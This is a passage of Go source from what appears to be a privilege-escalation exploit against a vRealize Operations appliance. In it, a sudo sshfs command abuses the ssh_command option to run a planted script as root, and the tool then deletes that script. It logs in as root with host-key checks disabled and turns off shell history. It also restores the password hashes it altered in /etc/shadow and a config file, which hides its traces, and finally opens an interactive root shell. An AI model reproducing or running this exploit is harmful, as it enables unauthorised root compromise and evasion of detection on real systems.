"sudo /usr/bin/sshfs -o allow_other -o password_stdin -o StrictHostKeyChecking\\=no -o UserKnownHostsFile\\=/dev/null admin@localhost:/ /tmp/ -o ssh_command\\='bash /home/admin/privesc.sh #' 2>/dev/null <<< X",
|
||||
"rm /home/admin/privesc.sh",
|
||||
"exit",
|
||||
})
|
||||
|
||||
if verbose {
|
||||
fmt.Printf("[*] Validating Privileged SSH Access (root@%s) ...\n", remoteAddr)
|
||||
}
|
||||
|
||||
signer, err := ssh.ParsePrivateKey([]byte(privateKey))
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", resp.Status)
|
||||
}
|
||||
|
||||
config = &ssh.ClientConfig{
|
||||
User: "root",
|
||||
Auth: []ssh.AuthMethod{
|
||||
ssh.PublicKeys(signer),
|
||||
},
|
||||
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
|
||||
Timeout: time.Minute,
|
||||
}
|
||||
|
||||
result = executeSSHCommands(config, []string{
|
||||
"set +o history",
|
||||
"id",
|
||||
"exit",
|
||||
})
|
||||
if verbose {
|
||||
fmt.Println(result)
|
||||
}
|
||||
|
||||
if restore {
|
||||
if verbose {
|
||||
fmt.Printf("[*] Restoring Hashed Passwords (root@%s) ...\n", remoteAddr)
|
||||
}
|
||||
|
||||
sanitizedAdminHashedPassword := strings.Replace(adminHashedPassword, "/", "\\/", -1)
|
||||
sanitizedAdminHashedPassword = strings.Replace(sanitizedAdminHashedPassword, "=", "\\\\=", -1)
|
||||
|
||||
sanitizedOSHashedPassword := strings.Replace(osHashedPassword, "/", "\\/", -1)
|
||||
|
||||
executeSSHCommands(config, []string{
|
||||
"set +o history",
|
||||
fmt.Sprintf("sed -i 's/hashed_password=.*/hashed_password=%s/' /storage/vcops/user/conf/adminuser.properties", sanitizedAdminHashedPassword),
|
||||
fmt.Sprintf("sed -i 's/admin:[^:]*/admin:%s/' /etc/shadow", sanitizedOSHashedPassword),
|
||||
"exit",
|
||||
})
|
||||
}
|
||||
|
||||
if verbose {
|
||||
fmt.Printf("[*] Initiating Interactive SSH Session (root@%s) ...\n", remoteAddr)
|
||||
}
|
||||
|
||||
sig := make(chan os.Signal, 1)
|
||||
signal.Notify(sig, os.Interrupt, syscall.SIGTERM, syscall.SIGINT)
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
|
||||
go func() {
|
||||
err = interactiveSSHSession(config, ctx)
|
||||
if err != nil {
|
||||
log.Fatal("[-] ", err)
|
||||
}
|
||||
cancel()
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-sig:
|
||||
cancel()
|
||||
case <-ctx.Done():
|
||||
}
|
||||
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user